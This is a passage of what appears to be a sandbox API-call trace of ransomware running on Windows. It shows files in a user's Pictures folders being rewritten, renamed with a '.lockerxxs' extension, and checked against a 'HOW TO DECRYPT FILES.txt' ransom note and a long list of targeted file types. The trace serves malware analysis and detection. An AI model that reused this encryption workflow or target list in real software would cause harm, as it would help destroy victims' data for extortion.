C4O9vwjXatN\\AMbKr K.jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\AMbKr K.jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\AMbKr K.jpg." [0091.081] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\AMbKr K.jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\AMbKr K.jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\AMbKr K.jpg.lockerxxs" [0091.081] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\AMbKr K.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ty3onra9ivt2rvo\\1be7\\ciss89zr13ojxpngy\\pco9vdlm9\\rcqktt1i c4o9vwjxatn\\ambkr k.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9c [0091.082] GetFileSize (in: hFile=0x9c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xefdd [0091.082] GetFileTime (in: hFile=0x9c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x502a3570, dwHighDateTime=0x1d5dff6), lpLastAccessTime=0x407536*(dwLowDateTime=0x976d89b0, dwHighDateTime=0x1d5dc8f), lpLastWriteTime=0x40753e*(dwLowDateTime=0x976d89b0, dwHighDateTime=0x1d5dc8f)) returned 1 [0091.082] SetFilePointer (in: hFile=0x9c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0091.082] ReadFile (in: hFile=0x9c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xefb7, lpOverlapped=0x0) returned 1 [0091.084] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\AMbKr K.jpg") returned="AMbKr K.jpg" [0091.084] SetFilePointer (in: hFile=0x9c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0091.085] WriteFile (in: hFile=0x9c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xefb7, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xefb7, lpOverlapped=0x0) returned 1 [0091.085] SetFileTime (hFile=0x9c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0091.086] CloseHandle (hObject=0x9c) returned 1 [0091.086] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\AMbKr K.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ty3onra9ivt2rvo\\1be7\\ciss89zr13ojxpngy\\pco9vdlm9\\rcqktt1i c4o9vwjxatn\\ambkr k.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\RcqkTT1i C4O9vwjXatN\\AMbKr K.jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ty3onra9ivt2rvo\\1be7\\ciss89zr13ojxpngy\\pco9vdlm9\\rcqktt1i c4o9vwjxatn\\ambkr k.jpg.lockerxxs")) returned 1 [0091.087] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x502a3570, ftCreationTime.dwHighDateTime=0x1d5dff6, ftLastAccessTime.dwLowDateTime=0x976d89b0, ftLastAccessTime.dwHighDateTime=0x1d5dc8f, ftLastWriteTime.dwLowDateTime=0x976d89b0, ftLastWriteTime.dwHighDateTime=0x1d5dc8f, nFileSizeHigh=0x0, nFileSizeLow=0xefdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="AMbKr K.jpg", cAlternateFileName="AMBKRK~1.JPG")) returned 0 [0091.087] FindClose (in: hFindFile=0x5026d8 | out: hFindFile=0x5026d8) returned 1 [0091.088] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc98c3d00, ftCreationTime.dwHighDateTime=0x1d5e762, ftLastAccessTime.dwLowDateTime=0x673f2010, ftLastAccessTime.dwHighDateTime=0x1d5df22, ftLastWriteTime.dwLowDateTime=0x673f2010, ftLastWriteTime.dwHighDateTime=0x1d5df22, nFileSizeHigh=0x0, nFileSizeLow=0x484b, dwReserved0=0x52d540, dwReserved1=0x4ff4e8, cFileName="TvETS.bmp", cAlternateFileName="")) returned 1 [0091.088] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0091.088] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TvETS.bmp") returned -1 [0091.088] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TvETS.bmp") returned -1 [0091.088] lstrcmpiA (lpString1="", lpString2="TvETS.bmp") returned -1 [0091.088] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\*.*") returned="*.*" [0091.088] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\" [0091.088] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\") returned="" [0091.088] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\HOW TO DECRYPT FILES.txt" [0091.088] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ty3onra9ivt2rvo\\1be7\\ciss89zr13ojxpngy\\pco9vdlm9\\how to decrypt files.txt")) returned 0x20 [0091.088] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\", lpString2="TvETS.bmp" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp" [0091.088] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.ems") returned 0 [0091.088] lstrlenA (lpString="*.ems") returned 5 [0091.088] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.db") returned 0 [0091.088] lstrlenA (lpString="*.db") returned 4 [0091.088] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.dbf") returned 0 [0091.088] lstrlenA (lpString="*.dbf") returned 5 [0091.089] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.myox") returned 0 [0091.089] lstrlenA (lpString="*.myox") returned 6 [0091.089] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.myo") returned 0 [0091.089] lstrlenA (lpString="*.myo") returned 5 [0091.089] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.qbw") returned 0 [0091.089] lstrlenA (lpString="*.qbw") returned 5 [0091.090] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.qbb") returned 0 [0091.090] lstrlenA (lpString="*.qbb") returned 5 [0091.090] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.qbm") returned 0 [0091.090] lstrlenA (lpString="*.qbm") returned 5 [0091.090] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.qbo") returned 0 [0091.090] lstrlenA (lpString="*.qbo") returned 5 [0091.090] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.qbx") returned 0 [0091.090] lstrlenA (lpString="*.qbx") returned 5 [0091.090] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.qba") returned 0 [0091.090] lstrlenA (lpString="*.qba") returned 5 [0091.090] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.qby") returned 0 [0091.090] lstrlenA (lpString="*.qby") returned 5 [0091.090] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.qbj") returned 0 [0091.090] lstrlenA (lpString="*.qbj") returned 5 [0091.090] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.ofx") returned 0 [0091.090] lstrlenA (lpString="*.ofx") returned 5 [0091.091] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.qif") returned 0 [0091.091] lstrlenA (lpString="*.qif") returned 5 [0091.091] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.mye") returned 0 [0091.091] lstrlenA (lpString="*.mye") returned 5 [0091.091] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.mbox") returned 0 [0091.091] lstrlenA (lpString="*.mbox") returned 6 [0091.091] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.eml") returned 0 [0091.091] lstrlenA (lpString="*.eml") returned 5 [0091.091] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.pst") returned 0 [0091.091] lstrlenA (lpString="*.pst") returned 5 [0091.091] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.ost") returned 0 [0091.091] lstrlenA (lpString="*.ost") returned 5 [0091.091] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.idx") returned 0 [0091.091] lstrlenA (lpString="*.idx") returned 5 [0091.091] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.dbx") returned 0 [0091.091] lstrlenA (lpString="*.dbx") returned 5 [0091.091] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.sql") returned 0 [0091.091] lstrlenA (lpString="*.sql") returned 5 [0091.091] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.mdb") returned 0 [0091.091] lstrlenA (lpString="*.mdb") returned 5 [0091.091] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.fdb") returned 0 [0091.091] lstrlenA (lpString="*.fdb") returned 5 [0091.091] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.wab") returned 0 [0091.091] lstrlenA (lpString="*.wab") returned 5 [0091.092] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.dat") returned 0 [0091.092] lstrlenA (lpString="*.dat") returned 5 [0091.092] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.txt") returned 0 [0091.092] lstrlenA (lpString="*.txt") returned 5 [0091.092] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.jpeg") returned 0 [0091.092] lstrlenA (lpString="*.jpeg") returned 6 [0091.092] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.jpg") returned 0 [0091.092] lstrlenA (lpString="*.jpg") returned 5 [0091.092] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.png") returned 0 [0091.092] lstrlenA (lpString="*.png") returned 5 [0091.092] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.php") returned 0 [0091.092] lstrlenA (lpString="*.php") returned 5 [0091.092] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.cs") returned 0 [0091.092] lstrlenA (lpString="*.cs") returned 4 [0091.092] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.cpp") returned 0 [0091.092] lstrlenA (lpString="*.cpp") returned 5 [0091.092] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.rar") returned 0 [0091.092] lstrlenA (lpString="*.rar") returned 5 [0091.092] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.zip") returned 0 [0091.092] lstrlenA (lpString="*.zip") returned 5 [0091.092] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.html") returned 0 [0091.092] lstrlenA (lpString="*.html") returned 6 [0091.092] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.htm") returned 0 [0091.092] lstrlenA (lpString="*.htm") returned 5 [0091.092] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.xlsx") returned 0 [0091.093] lstrlenA (lpString="*.xlsx") returned 6 [0091.093] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.xls") returned 0 [0091.093] lstrlenA (lpString="*.xls") returned 5 [0091.093] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.mp4") returned 0 [0091.093] lstrlenA (lpString="*.mp4") returned 5 [0091.093] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.ppt") returned 0 [0091.093] lstrlenA (lpString="*.ppt") returned 5 [0091.093] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.pptx") returned 0 [0091.093] lstrlenA (lpString="*.pptx") returned 6 [0091.093] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.doc") returned 0 [0091.093] lstrlenA (lpString="*.doc") returned 5 [0091.093] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.dot") returned 0 [0091.093] lstrlenA (lpString="*.dot") returned 5 [0091.093] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.docx") returned 0 [0091.093] lstrlenA (lpString="*.docx") returned 6 [0091.093] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.7z") returned 0 [0091.093] lstrlenA (lpString="*.7z") returned 4 [0091.093] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.tar") returned 0 [0091.093] lstrlenA (lpString="*.tar") returned 5 [0091.093] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.bz2") returned 0 [0091.093] lstrlenA (lpString="*.bz2") returned 5 [0091.093] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.gz") returned 0 [0091.093] lstrlenA (lpString="*.gz") returned 4 [0091.094] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.mkv") returned 0 [0091.094] lstrlenA (lpString="*.mkv") returned 5 [0091.094] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.eml") returned 0 [0091.094] lstrlenA (lpString="*.eml") returned 5 [0091.094] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.msg") returned 0 [0091.094] lstrlenA (lpString="*.msg") returned 5 [0091.094] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.edb") returned 0 [0091.094] lstrlenA (lpString="*.edb") returned 5 [0091.094] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.accdb") returned 0 [0091.094] lstrlenA (lpString="*.accdb") returned 7 [0091.094] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.odb") returned 0 [0091.094] lstrlenA (lpString="*.odb") returned 5 [0091.094] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.java") returned 0 [0091.094] lstrlenA (lpString="*.java") returned 6 [0091.094] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.asm") returned 0 [0091.094] lstrlenA (lpString="*.asm") returned 5 [0091.094] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.pfx") returned 0 [0091.094] lstrlenA (lpString="*.pfx") returned 5 [0091.094] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.pem") returned 0 [0091.094] lstrlenA (lpString="*.pem") returned 5 [0091.094] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.p12") returned 0 [0091.094] lstrlenA (lpString="*.p12") returned 5 [0091.095] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.gpg") returned 0 [0091.095] lstrlenA (lpString="*.gpg") returned 5 [0091.095] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.vsd") returned 0 [0091.095] lstrlenA (lpString="*.vsd") returned 5 [0091.095] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\TvETS.bmp", pszSpec="*.odg") returned 0 [0091.095] lstrlenA (lpString="*.odg") returned 5 [0091.095] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS 